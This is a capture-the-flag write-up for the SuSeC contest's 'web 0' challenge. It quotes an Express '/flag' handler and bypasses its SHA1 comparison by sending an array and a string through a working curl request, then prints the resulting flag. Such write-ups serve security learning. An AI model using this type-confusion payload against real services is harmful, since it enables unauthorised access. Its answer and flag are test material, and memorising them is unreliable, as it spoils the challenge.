SuSeC Cyber Security Contest

Web : web 0

Description : Check out my cool new website!

Attachment : http://66.172.11.208:1337/

Solutions :

Opening the link and we find this code.

```
function sha1(s) {
    return crypto.createHash("sha1")
            .update(s)
            .digest("hex");
}

app.post("/flag", (req, res) => {
    const {first, second} = req.body;
    const salt = "pepper";

    if (!first || !second || first.length !== second.length) {
            res.send("bad input");
            return;
    }

    if (first !== second && sha1(salt + first) === sha1(salt + second)) {
            res.send(flag); // have some flag
            return;
    }

    res.send("access denied");
});
```

As we can see, to get the flag, we need to send a **JSON** post request to "**/flag**", with in body "**{first, second}**", first and second need to have the same **SHA1**, but they need to be two different value because of the "**first !== second**". So if we send "**[1]**" as value for "**first**" and **"1"** as value for "**second**", it will work, because they aren't the same value, but they will have the same sha1.

Running the curl request bellow and we get the flag

```
kali@kali:~$ curl -H 'Content-Type: application/json' --request POST --data '{"first": [1], "second": "1"}' http://66.172.11.208:1337/flag
SUSEC{YOUR3_4B0UT_TO_H4CK_TIM3_RU_SURE}
```

Flag : SUSEC{YOUR3_4B0UT_TO_H4CK_TIM3_RU_SURE}